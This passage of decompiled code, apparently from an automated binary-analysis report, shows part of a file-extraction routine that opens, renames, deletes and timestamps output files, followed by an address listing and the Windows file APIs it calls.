																		 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																		 *((char*)(_t822 - 4)) = 0x2a;
																		E0040862D();
																		 *((char*)(_t822 - 4)) = 1;
																		E00408604(_t822 - 0x24);
																		_t651 =  *(_t822 + 0xc);
																	} else {
																		E00412FDC(_t822 - 0x60, L"can not open output file ");
																		_t813 =  *((intOrPtr*)(_t810 + 0x18));
																		 *((char*)(_t822 - 4)) = 0x27;
																		_t490 =  *((intOrPtr*)( *_t813 + 0x1c))(_t813,  *((intOrPtr*)(_t822 - 0x60)), _t822 - 0x30);
																		_push( *((intOrPtr*)(_t822 - 0x60)));
																		_t814 = _t490;
																		__eflags = _t814 - _t651;
																		if(_t814 == _t651) {
																			E00407A18();
																			__eflags = _t805 - _t651;
																			 *((char*)(_t822 - 4)) = 0xa;
																			if(_t805 != _t651) {
																				 *((intOrPtr*)( *_t805 + 8))(_t805);
																			}
																			E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																			 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																			 *((char*)(_t822 - 4)) = 0x29;
																			L94:
																			E0040862D();
																			 *((char*)(_t822 - 4)) = 1;
																			E00408604(_t822 - 0x24);
																			goto L141;
																		}
																		E00407A18();
																		__eflags = _t805 - _t651;
																		 *((char*)(_t822 - 4)) = 0xa;
																		if(_t805 != _t651) {
																			 *((intOrPtr*)( *_t805 + 8))(_t805);
																		}
																		E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																		E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																		 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																		 *((char*)(_t822 - 4)) = 0x28;
																		L123:
																		E0040862D();
																		 *((char*)(_t822 - 4)) = 1;
																		E00408604(_t822 - 0x24);
																		_t651 = _t814;
																	}
																	goto L141;
																}
																E0040351A(_t822 - 0x80);
																_push( *((intOrPtr*)(_t822 - 0x30)));
																 *((char*)(_t822 - 4)) = 0xc;
																_t508 = E0040B431(_t822 - 0xa8, _t772, __eflags); // executed
																__eflags = _t508 - _t651;
																if(_t508 == _t651) {
																	L116:
																	 *((char*)(_t822 - 4)) = 0xa;
																	E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																	goto L117;
																}
																_t511 =  *((intOrPtr*)(_t810 + 0x34)) - _t651;
																__eflags = _t511;
																if(_t511 == 0) {
																	asm("sbb edx, edx");
																	_t512 =  *((intOrPtr*)(_t810 + 0x18));
																	asm("sbb edx, edx");
																	_t808 =  *((intOrPtr*)( *_t512 + 0x14))(_t512,  *((intOrPtr*)(_t822 - 0x30)), _t822 - 0x90, _t822 - 0xa8,  *(_t822 - 0x48),  ~( *(_t810 + 0x7e)) & _t810 + 0x00000070,  ~( *(_t810 + 0x90)) & _t810 + 0x00000088, _t822 + 0xc);
																	__eflags = _t808 - _t651;
																	if(_t808 == _t651) {
																		_t515 =  *(_t822 + 0xc) - _t651;
																		__eflags = _t515;
																		if(_t515 == 0) {
																			L96:
																			_t803 = 0x47a420;
																			L97:
																			_t516 =  *((intOrPtr*)(_t810 + 0x34));
																			__eflags = _t516 - 3;
																			if(__eflags != 0) {
																				__eflags = _t516 - 4;
																				if(_t516 != 4) {
																					_t517 = E00409F99( *((intOrPtr*)(_t822 - 0x30)));
																					__eflags = _t517 - _t651;
																					if(_t517 != _t651) {
																						goto L116;
																					}
																					_t518 = E00403532(_t822 - 0x6c,  *0x48bd9c);
																					 *((char*)(_t822 - 4)) = 0x21;
																					E0040B0A0(_t822 - 0x60, _t518);
																					 *((char*)(_t822 - 4)) = 0x23;
																					E00407A18( *((intOrPtr*)(_t822 - 0x6c)));
																					_t815 =  *((intOrPtr*)(_t810 + 0x18));
																					_t522 =  *((intOrPtr*)( *_t815 + 0x1c))(_t815,  *((intOrPtr*)(_t822 - 0x60)), _t822 - 0x30);
																					_push( *((intOrPtr*)(_t822 - 0x60)));
																					_t814 = _t522;
																					__eflags = _t814 - _t651;
																					if(_t814 == _t651) {
																						E00407A18();
																						E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																						E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																						E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																						 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																						 *((char*)(_t822 - 4)) = 0x25;
																						goto L94;
																					}
																					E00407A18();
																					E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																					E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																					E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																					 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																					 *((char*)(_t822 - 4)) = 0x24;
																					goto L123;
																				}
																				E004039C0(_t822 - 0x54, _t822 - 0x30);
																				 *((char*)(_t822 - 4)) = 0x18;
																				_t533 = E0040CD50(_t822 - 0x54, __eflags);
																				__eflags = _t533 - _t651;
																				if(_t533 != _t651) {
																					_t534 = E00409BC3( *((intOrPtr*)(_t822 - 0x30)),  *(_t822 - 0x54));
																					__eflags = _t534 - _t651;
																					if(_t534 != _t651) {
																						E00407A18( *(_t822 - 0x54));
																						goto L116;
																					}
																					_t536 = E00403532(_t822 - 0x6c,  *0x48bd98);
																					 *((char*)(_t822 - 4)) = 0x1c;
																					E0040B0A0(_t822 - 0x60, _t536);
																					 *((char*)(_t822 - 4)) = 0x1e;
																					E00407A18( *((intOrPtr*)(_t822 - 0x6c)));
																					_t816 =  *((intOrPtr*)(_t810 + 0x18));
																					_t540 =  *((intOrPtr*)( *_t816 + 0x1c))(_t816,  *((intOrPtr*)(_t822 - 0x60)), _t822 - 0x30);
																					_push( *((intOrPtr*)(_t822 - 0x60)));
																					_t817 = _t540;
																					__eflags = _t817 - _t651;
																					if(_t817 == _t651) {
																						E00407A18();
																						E00407A18( *(_t822 - 0x54));
																						E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																						E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																						E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																						 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																						 *((char*)(_t822 - 4)) = 0x20;
																						L112:
																						E0040862D();
																						 *((char*)(_t822 - 4)) = 1;
																						E00408604(_t822 - 0x24);
																						L113:
																						_t817 = 0x80004005;
																						L114:
																						E00407A18( *(_t822 - 0x48));
																						_t425 = _t817;
																						goto L157;
																					}
																					E00407A18();
																					E00407A18( *(_t822 - 0x54));
																					E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																					E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																					E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																					 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																					 *((char*)(_t822 - 4)) = 0x1f;
																					L110:
																					E0040862D();
																					 *((char*)(_t822 - 4)) = 1;
																					E00408604(_t822 - 0x24);
																					goto L114;
																				}
																				_t791 =  *0x48bd94; // 0x48be34
																				E00412FDC(_t822 - 0x60, _t791);
																				_t818 =  *((intOrPtr*)(_t810 + 0x18));
																				 *((char*)(_t822 - 4)) = 0x19;
																				_t559 =  *((intOrPtr*)( *_t818 + 0x1c))(_t818,  *((intOrPtr*)(_t822 - 0x60)), _t822 - 0x30);
																				_push( *((intOrPtr*)(_t822 - 0x60)));
																				_t817 = _t559;
																				__eflags = _t817 - _t651;
																				if(_t817 == _t651) {
																					E00407A18();
																					E00407A18( *(_t822 - 0x54));
																					E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																					E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																					E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																					 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																					 *((char*)(_t822 - 4)) = 0x1b;
																					goto L112;
																				}
																				E00407A18();
																				E00407A18( *(_t822 - 0x54));
																				E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																				E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																				E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																				 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																				 *((char*)(_t822 - 4)) = 0x1a;
																				goto L110;
																			}
																			_t570 = E0040CD50(_t822 - 0x30, __eflags);
																			__eflags = _t570 - _t651;
																			if(_t570 != _t651) {
																				goto L116;
																			}
																			_t571 = E00403532(_t822 - 0x60,  *0x48bd94);
																			 *((char*)(_t822 - 4)) = 0x13;
																			E0040B0A0(_t822 - 0x54, _t571);
																			 *((char*)(_t822 - 4)) = 0x15;
																			E00407A18( *((intOrPtr*)(_t822 - 0x60)));
																			_t819 =  *((intOrPtr*)(_t810 + 0x18));
																			_t575 =  *((intOrPtr*)( *_t819 + 0x1c))(_t819,  *(_t822 - 0x54), _t822 - 0x30);
																			_push( *(_t822 - 0x54));
																			_t817 = _t575;
																			__eflags = _t817 - _t651;
																			if(_t817 == _t651) {
																				E00407A18();
																				E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																				E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																				E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																				 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																				 *((char*)(_t822 - 4)) = 0x17;
																				goto L112;
																			}
																			E00407A18();
																			E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																			 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																			 *((char*)(_t822 - 4)) = 0x16;
																			goto L110;
																		}
																		_t584 = _t515 - 1;
																		__eflags = _t584;
																		if(_t584 == 0) {
																			 *((intOrPtr*)(_t810 + 0x34)) = 1;
																			goto L96;
																		}
																		_t585 = _t584 - 1;
																		__eflags = _t585;
																		if(_t585 == 0) {
																			E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																			 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																			 *((char*)(_t822 - 4)) = 0x10;
																			goto L94;
																		}
																		_t589 = _t585 - 1;
																		__eflags = _t589;
																		if(_t589 == 0) {
																			 *((intOrPtr*)(_t810 + 0x34)) = 2;
																			E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																			 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																			 *((char*)(_t822 - 4)) = 0x11;
																			goto L94;
																		}
																		_t593 = _t589 - 1;
																		__eflags = _t593;
																		if(_t593 == 0) {
																			 *((intOrPtr*)(_t810 + 0x34)) = 3;
																			goto L96;
																		}
																		_push( *((intOrPtr*)(_t822 - 0x80)));
																		__eflags = _t593 == 1;
																		if(_t593 == 1) {
																			E00407A18();
																			E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																			E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																			 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																			 *((char*)(_t822 - 4)) = 0xf;
																			E0040862D();
																			 *((char*)(_t822 - 4)) = 1;
																			E00408604(_t822 - 0x24);
																			_t651 = 0x80004004;
																			goto L141;
																		}
																		E00407A18();
																		E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																		E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																		 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																		 *((char*)(_t822 - 4)) = 0x12;
																		goto L89;
																	}
																	E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																	E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																	E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																	 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
																	 *((char*)(_t822 - 4)) = 0xe;
																	E0040862D();
																	 *((char*)(_t822 - 4)) = 1;
																	E00408604(_t822 - 0x24);
																	_t651 = _t808;
																	goto L141;
																}
																__eflags = _t511 != 0;
																if(_t511 != 0) {
																	goto L97;
																}
																E00407A18( *((intOrPtr*)(_t822 - 0x80)));
																E00407A18( *((intOrPtr*)(_t822 - 0x30)));
																E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
																 *((intOrPtr*)(_t822 - 0x24)) = _t803;
																 *((char*)(_t822 - 4)) = 0xd;
																E0040862D();
																 *((char*)(_t822 - 4)) = 1;
																E00408604(_t822 - 0x24);
																goto L156;
															}
															_t820 = _t810 + 0x38;
															E00401E26(_t810 + 0x38, _t822 - 0x30);
															__eflags =  *(_t822 + 0xb) - _t651;
															if( *(_t822 + 0xb) != _t651) {
																E00409B24( *_t820);
															}
															E00407A18( *((intOrPtr*)(_t822 - 0x30)));
															E00407A18( *((intOrPtr*)(_t822 - 0x3c)));
															 *((intOrPtr*)(_t822 - 0x24)) = _t803;
															 *((char*)(_t822 - 4)) = 0xb;
															goto L94;
														}
														__eflags =  *((intOrPtr*)(_t810 + 0x80)) - _t651;
														if( *((intOrPtr*)(_t810 + 0x80)) != _t651) {
															L53:
															__eflags =  *((intOrPtr*)(_t822 - 0x1c)) - _t651;
															if( *((intOrPtr*)(_t822 - 0x1c)) == _t651) {
																goto L71;
															}
															 *(_t822 - 0x54) = _t651;
															 *(_t822 - 0x50) = _t651;
															 *(_t822 - 0x4c) = _t651;
															E00401E9A(_t822 - 0x54, 3);
															_push(_t822 - 0x54);
															 *((char*)(_t822 - 4)) = 9;
															E00411ED0(_t810, _t822, _t822 - 0x24);
															__eflags =  *((intOrPtr*)(_t810 + 0x80)) - _t651;
															if( *((intOrPtr*)(_t810 + 0x80)) == _t651) {
																L70:
																 *((char*)(_t822 - 4)) = 8;
																E00407A18( *(_t822 - 0x54));
																goto L71;
															}
															__eflags =  *((intOrPtr*)(_t810 + 0x5c)) - _t651;
															if( *((intOrPtr*)(_t810 + 0x5c)) == _t651) {
																L58:
																_t627 =  *((intOrPtr*)(_t810 + 0x10));
																__eflags =  *((intOrPtr*)(_t627 + 0x2c)) - _t651;
																if( *((intOrPtr*)(_t627 + 0x2c)) == _t651) {
																	_t628 = 0;
																	__eflags = 0;
																} else {
																	_t628 = _t627 + 0x24;
																}
																L61:
																__eflags =  *((intOrPtr*)(_t810 + 0x5b)) - _t651;
																if( *((intOrPtr*)(_t810 + 0x5b)) == _t651) {
																	L64:
																	_t754 = 0;
																	__eflags = 0;
																	L65:
																	__eflags =  *((intOrPtr*)(_t810 + 0x5a)) - _t651;
																	if( *((intOrPtr*)(_t810 + 0x5a)) == _t651) {
																		L68:
																		_t793 = 0;
																		__eflags = 0;
																		L69:
																		E004098CF( *(_t822 - 0x54), _t793, _t754, _t628);
																		goto L70;
																	}
																	__eflags =  *((intOrPtr*)(_t810 + 0x7c)) - _t651;
																	if( *((intOrPtr*)(_t810 + 0x7c)) == _t651) {
																		goto L68;
																	}
																	_t793 = _t810 + 0x60;
																	goto L69;
																}
																__eflags =  *((intOrPtr*)(_t810 + 0x7d)) - _t651;
																if( *((intOrPtr*)(_t810 + 0x7d)) == _t651) {
																	goto L64;
																}
																_t754 = _t810 + 0x68;
																goto L65;
															}
															__eflags =  *(_t810 + 0x7e) - _t651;
															if( *(_t810 + 0x7e) == _t651) {
																goto L58;
															}
															_t628 = _t810 + 0x70;
															goto L61;
														}
														__eflags =  *((intOrPtr*)(_t822 - 0x1c)) - _t651;
														if( *((intOrPtr*)(_t822 - 0x1c)) == _t651) {
															goto L71;
														}
														E00408635(_t822 - 0x24);
														goto L53;
													}
													 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
													 *((char*)(_t822 - 4)) = 6;
													goto L89;
												}
												__eflags = _t461 == 1;
												if(_t461 == 1) {
													 *(_t822 + 0xc) = _t681 - 1;
												}
												goto L49;
											}
											 *((intOrPtr*)(_t822 - 0x24)) = 0x47a420;
											 *((char*)(_t822 - 4)) = 5;
											goto L89;
										}
										 *(_t810 + 0x7f) = 1;
										 *((intOrPtr*)(_t810 + 0x78)) =  *((intOrPtr*)(_t822 - 0x68));
										goto L32;
									}
									 *((char*)(_t822 - 4)) = 1;
									E0040C20F(_t822 - 0x70);
									goto L145;
								}
								_push(8);
								_t637 = E004079F2();
								__eflags = _t637 - _t651;
								if(_t637 == _t651) {
									_t821 = 0;
									__eflags = 0;
								} else {
									 *(_t637 + 4) = _t651;
									 *_t637 = 0x47aa80;
									_t821 = _t637;
								}
								__eflags = _t821 - _t651;
								if(_t821 != _t651) {
									 *((intOrPtr*)( *_t821 + 4))(_t821);
								}
								 *( *(_t822 + 0x10)) = _t821;
								goto L141;
							}
							__eflags =  *((intOrPtr*)(_t810 + 0x80)) - _t651;
							_t643 = E00408E6D( *((intOrPtr*)(_t810 + 0x80)) - _t651, _t822 - 0x48, _t422 & 0xffffff00 |  *((intOrPtr*)(_t810 + 0x80)) == _t651);
							__eflags = _t643 - _t651;
							if(_t643 == _t651) {
								goto L141;
							}
							goto L17;
						}
						__eflags =  *(_t822 - 0x70) - 0x15;
						if( *(_t822 - 0x70) == 0x15) {
							 *(_t810 + 0x58) = 1;
							 *((intOrPtr*)(_t810 + 0x50)) =  *((intOrPtr*)(_t822 - 0x68));
							 *((intOrPtr*)(_t810 + 0x54)) =  *((intOrPtr*)(_t822 - 0x64));
							goto L13;
						}
						 *((char*)(_t822 - 4)) = 1;
						E0040C20F(_t822 - 0x70);
						goto L113;
					}
					 *((char*)(_t822 - 4)) = 1;
					E0040C20F(_t822 - 0x70);
					_t817 =  *(_t822 + 8);
					goto L114;
				}
				L5:
				_t651 = _t422;
				goto L141;
			}

0x0041202c
0x00412039
0x0041203d
0x0041203f
0x00412042
0x00412048
0x00412050
0x00412053
0x00412058
0x0041205b
0x0041205b
0x00412060
0x00412066
0x00412068
0x0041206c
0x00412071
0x00412074
0x00412074
0x00412079
0x00412084
0x00412087
0x0041208a
0x00412090
0x00412096
0x0041209c
0x0041209f
0x004120a2
0x004120a5
0x004120b0
0x004120b1
0x004120b5
0x004120b8
0x004120ba
0x004120c1
0x004120d6
0x004120db
0x004120dd
0x00000000
0x00000000
0x004120e6
0x004120eb
0x004120ef
0x004120fe
0x00412103
0x00412106
0x00412108
0x0041210b
0x00412121
0x00412125
0x0041214f
0x00412152
0x00412156
0x00412161
0x00412162
0x00412166
0x0041216b
0x0041216d
0x00000000
0x00000000
0x00412175
0x0041217a
0x0041217c
0x00000000
0x00000000
0x00412185
0x00412187
0x004121a4
0x004121a4
0x004121a7
0x00412bd2
0x00412bd5
0x00412bd7
0x00412bd7
0x00412bdd
0x00412be3
0x00412be5
0x00412bea
0x00412bed
0x00412bfd
0x00412bfd
0x00412bef
0x00412bef
0x00412bf2
0x00412bf5
0x00412bf5
0x00412c06
0x00412c0c
0x00412c11
0x00412c17
0x00412c19
0x00412c1c
0x00412c21
0x00412c21
0x00412c27
0x00412c37
0x00412c3f
0x00412c41
0x00412c43
0x00412c48
0x00412c48
0x00412c4e
0x00412c50
0x00412c56
0x00412c56
0x00412c56
0x00412c5a
0x00412c5d
0x00412c60
0x00412c60
0x00412c64
0x00412c67
0x00412c6d
0x00412c7c
0x00412c81
0x00412c8a
0x00412c8a
0x004121ad
0x004121b3
0x00000000
0x00000000
0x004121b9
0x004121bf
0x004121f0
0x004121f4
0x00412203
0x0041220b
0x0041220d
0x0041220f
0x00412222
0x00412227
0x00412235
0x00412239
0x00412bb4
0x00412bb8
0x00412bbd
0x00412bc2
0x00412bc5
0x00412bcb
0x00000000
0x00412bcb
0x0041223f
0x00412242
0x00412245
0x00412249
0x0041224e
0x00412254
0x00412258
0x00412259
0x0041225b
0x0041225e
0x00412263
0x00412265
0x00000000
0x00000000
0x00412270
0x00412274
0x00412275
0x00412277
0x00412278
0x0041227d
0x0041227f
0x00000000
0x00000000
0x0041228a
0x0041228e
0x0041228f
0x00412291
0x00412292
0x00412297
0x00412299
0x00000000
0x00000000
0x004122a2
0x004122ac
0x004122ad
0x004122b1
0x004122b6
0x004122b8
0x00000000
0x00000000
0x004122c1
0x004122c6
0x004122cb
0x004122d4
0x004122d8
0x004122dd
0x004122e0
0x004122e2
0x004122f3
0x004122f6
0x004122f6
0x004122f7
0x00412302
0x00412308
0x0041230a
0x0041230d
0x0041231b
0x0041231b
0x0041231d
0x0041231d
0x00412320
0x00000000
0x00000000
0x00412335
0x0041233a
0x0041233c
0x0041234e
0x00000000
0x0041234e
0x0041233e
0x00412345
0x004125c9
0x004125cc
0x004125d4
0x004125d8
0x004125dd
0x00412b4c
0x00412b4f
0x00412b55
0x00000000
0x00412b55
0x00412351
0x00412356
0x0041235d
0x00412365
0x00412370
0x00412375
0x00412378
0x0041237c
0x00412429
0x0041242c
0x0041242f
0x00412433
0x00412438
0x0041243e
0x00412442
0x0041247c
0x0041247f
0x00412925
0x00412925
0x00412928
0x00412b76
0x00412b7d
0x00412b85
0x00412b8d
0x00412b93
0x00412b9a
0x00412b9e
0x00412ba6
0x00412baa
0x00000000
0x00412baa
0x0041292e
0x00412930
0x00412935
0x00412938
0x00412a0e
0x00412a0e
0x0041293e
0x0041293e
0x00412941
0x00412945
0x0041294b
0x0041294b
0x00412a10
0x00412a12
0x00412a18
0x00412a1b
0x00412a20
0x00412a20
0x00412a2b
0x00412a31
0x00412a35
0x00412a3a
0x00412a3e
0x00412a47
0x00412a4c
0x00412a4e
0x00412aea
0x00412aed
0x00412b5c
0x00412b63
0x00412b6b
0x00412b6f
0x00412b71
0x00000000
0x00412b71
0x00412aef
0x00412b00
0x00412b03
0x00412b05
0x00412b08
0x00000000
0x00000000
0x00412b0a
0x00412b0c
0x00412b10
0x00412b15
0x00412b15
0x00412b1b
0x00412b23
0x00412b29
0x00412b34
0x00412b38
0x00412b40
0x00412b44
0x00412b49
0x00412a54
0x00412a60
0x00412a65
0x00412a6b
0x00412a72
0x00412a75
0x00412a78
0x00412a7a
0x00412a7c
0x00412ab4
0x00412ab9
0x00412abc
0x00412ac0
0x00412ac5
0x00412ac5
0x00412acb
0x00412ad3
0x00412ad9
0x00412ae1
0x00412686
0x00412689
0x00412691
0x00412695
0x00000000
0x00412695
0x00412a7e
0x00412a83
0x00412a86
0x00412a8a
0x00412a8f
0x00412a8f
0x00412a95
0x00412a9d
0x00412aa3
0x00412aab
0x004129c7
0x004129ca
0x004129d2
0x004129d6
0x004129db
0x004129db
0x00000000
0x00412a4e
0x00412488
0x0041248d
0x00412496
0x0041249a
0x0041249f
0x004124a1
0x00412918
0x0041291b
0x0041291f
0x00000000
0x00412924
0x004124aa
0x004124aa
0x004124ac
0x00412503
0x00412505
0x00412513
0x00412532
0x00412534
0x00412536
0x0041257c
0x0041257c
0x0041257e
0x004126a6
0x004126a6
0x004126ab
0x004126ab
0x004126ae
0x004126b1
0x00412761
0x00412764
0x00412955
0x0041295a
0x0041295c
0x00000000
0x00000000
0x00412967
0x00412975
0x00412979
0x00412981
0x00412985
0x0041298a
0x00412994
0x00412997
0x0041299a
0x0041299c
0x0041299e
0x004129e2
0x004129ea
0x004129f2
0x004129fa
0x00412a02
0x00412a05
0x00000000
0x00412a05
0x004129a0
0x004129a8
0x004129b0
0x004129b8
0x004129c0
0x004129c3
0x00000000
0x004129c3
0x00412771
0x00412779
0x0041277d
0x00412782
0x00412784
0x00412823
0x00412828
0x0041282a
0x00412912
0x00000000
0x00412917
0x00412839
0x00412847
0x0041284b
0x00412853
0x00412857
0x0041285c
0x00412866
0x00412869
0x0041286c
0x0041286e
0x00412870
0x004128b7
0x004128bf
0x004128c7
0x004128cf
0x004128d7
0x004128df
0x004128e2
0x004128e6
0x004128e9
0x004128f1
0x004128f5
0x004128fa
0x004128fa
0x004128ff
0x00412902
0x00412908
0x00000000
0x00412908
0x00412872
0x0041287a
0x00412882
0x0041288a
0x00412892
0x0041289a
0x0041289d
0x004128a1
0x004128a4
0x004128ac
0x004128b0
0x00000000
0x004128b0
0x0041278a
0x00412797
0x0041279c
0x004127a2
0x004127a9
0x004127ac
0x004127af
0x004127b1
0x004127b3
0x004127e9
0x004127f1
0x004127f9
0x00412801
0x00412809
0x00412811
0x00412814
0x00000000
0x00412814
0x004127b5
0x004127bd
0x004127c5
0x004127cd
0x004127d5
0x004127dd
0x004127e0
0x00000000
0x004127e0
0x004126ba
0x004126bf
0x004126c1
0x00000000
0x00000000
0x004126d0
0x004126de
0x004126e2
0x004126ea
0x004126ee
0x004126f3
0x004126fd
0x00412700
0x00412703
0x00412705
0x00412707
0x00412735
0x0041273d
0x00412745
0x0041274d
0x00412755
0x00412758
0x00000000
0x00412758
0x00412709
0x00412711
0x00412719
0x00412721
0x00412729
0x0041272c
0x00000000
0x0041272c
0x00412584
0x00412584
0x00412585
0x0041269f
0x00000000
0x0041269f
0x0041258b
0x0041258b
0x0041258c
0x00412663
0x0041266b
0x00412673
0x0041267b
0x00412682
0x00000000
0x00412682
0x00412592
0x00412592
0x00412593
0x00412634
0x0041263b
0x00412643
0x0041264b
0x00412653
0x0041265a
0x00000000
0x0041265a
0x00412599
0x00412599
0x0041259a
0x00412628
0x00000000
0x00412628
0x004125a0
0x004125a3
0x004125a4
0x004125e7
0x004125ef
0x004125f7
0x004125ff
0x00412609
0x0041260d
0x00412615
0x00412619
0x0041261e
0x00000000
0x0041261e
0x004125a6
0x004125ae
0x004125b6
0x004125be
0x004125c5
0x00000000
0x004125c5
0x0041253b
0x00412543
0x0041254b
0x00412553
0x0041255d
0x00412561
0x00412569
0x0041256d
0x00412572
0x00000000
0x00412572
0x004124af
0x004124b0
0x00000000
0x00000000
0x004124b9
0x004124c1
0x004124c9
0x004124d1
0x004124d7
0x004124db
0x004124e3
0x004124e7
0x00000000
0x004124e7
0x00412444
0x0041244d
0x00412452
0x00412455
0x00412459
0x00412459
0x00412461
0x00412469
0x0041246f
0x00412473
0x00000000
0x00412473
0x00412382
0x00412388
0x0041239b
0x0041239b
0x0041239e
0x00000000
0x00000000
0x004123a9
0x004123ac
0x004123af
0x004123b2
0x004123bc
0x004123c1
0x004123c5
0x004123ca
0x004123d0
0x0041241c
0x0041241f
0x00412423
0x00000000
0x00412428
0x004123d2
0x004123d5
0x004123e1
0x004123e1
0x004123e4
0x004123e7
0x004123ee
0x004123ee
0x004123e9
0x004123e9
0x004123e9
0x004123f0
0x004123f0
0x004123f3
0x004123ff
0x004123ff
0x004123ff
0x00412401
0x00412401
0x00412404
0x00412410
0x00412410
0x00412410
0x00412412
0x00412417
0x00000000
0x00412417
0x00412406
0x00412409
0x00000000
0x00000000
0x0041240b
0x00000000
0x0041240b
0x004123f5
0x004123f8
0x00000000
0x00000000
0x004123fa
0x00000000
0x004123fa
0x004123d7
0x004123da
0x00000000
0x00000000
0x004123dc
0x00000000
0x004123dc
0x0041238a
0x0041238d
0x00000000
0x00000000
0x00412396
0x00000000
0x00412396
0x0041230f
0x00412312
0x00000000
0x00412312
0x004122f9
0x004122fa
0x004122fd
0x004122fd
0x00000000
0x004122fa
0x004122e4
0x004122e7
0x00000000
0x004122e7
0x0041222c
0x00412230
0x00000000
0x00412230
0x00412214
0x00412218
0x00000000
0x00412218
0x004121c1
0x004121c3
0x004121c8
0x004121cb
0x004121da
0x004121da
0x004121cd
0x004121cd
0x004121d0
0x004121d6
0x004121d6
0x004121dc
0x004121de
0x004121e3
0x004121e3
0x004121e9
0x00000000
0x004121e9
0x00412189
0x00412197
0x0041219c
0x0041219e
0x00000000
0x00000000
0x00000000
0x0041219e
0x00412127
0x0041212c
0x00412142
0x00412146
0x0041214c
0x00000000
0x0041214c
0x00412131
0x00412135
0x00000000
0x00412135
0x00412110
0x00412114
0x00412119
0x00000000
0x00412119
0x004120c3
0x004120c3
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0041202C

Part of subcall function 004179F7: __EH_prolog.LIBCMT ref: 004179FC

Part of subcall function 00417975: __EH_prolog.LIBCMT ref: 0041797A

Part of subcall function 00411FA9: __EH_prolog.LIBCMT ref: 00411FAE

Part of subcall function 00411F1A: __EH_prolog.LIBCMT ref: 00411F1F

Part of subcall function 00408833: __EH_prolog.LIBCMT ref: 00408838

Part of subcall function 00416D6F: __EH_prolog.LIBCMT ref: 00416D74

Part of subcall function 004170F2: __EH_prolog.LIBCMT ref: 004170F7

Part of subcall function 004098CF: __EH_prolog.LIBCMT ref: 004098D4
Part of subcall function 004098CF: SetLastError.KERNEL32(00000078), ref: 004098ED
Part of subcall function 004098CF: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409918
Part of subcall function 004098CF: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409957
Part of subcall function 004098CF: SetFileTime.KERNEL32(000000FF,?,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409979
Part of subcall function 004098CF: CloseHandle.KERNEL32(000000FF), ref: 00409987

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 0040CD50: __EH_prolog.LIBCMT ref: 0040CD55

Part of subcall function 00409BC3: __EH_prolog.LIBCMT ref: 00409BC8
Part of subcall function 00409BC3: MoveFileW.KERNEL32 ref: 00409C28
Part of subcall function 00409BC3: MoveFileW.KERNEL32(?,?), ref: 00409C7F

Part of subcall function 00409F99: __EH_prolog.LIBCMT ref: 00409F9E
Part of subcall function 00409F99: DeleteFileW.KERNEL32(?,?,?,0047AC50,?,00000003,?,00000000,00000000,00490AB0), ref: 00409FE9
Part of subcall function 00409F99: DeleteFileW.KERNEL32(?,00000003,?,?,?,0047AC50,?,00000003,?,00000000,00000000,00490AB0), ref: 0040A01A

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

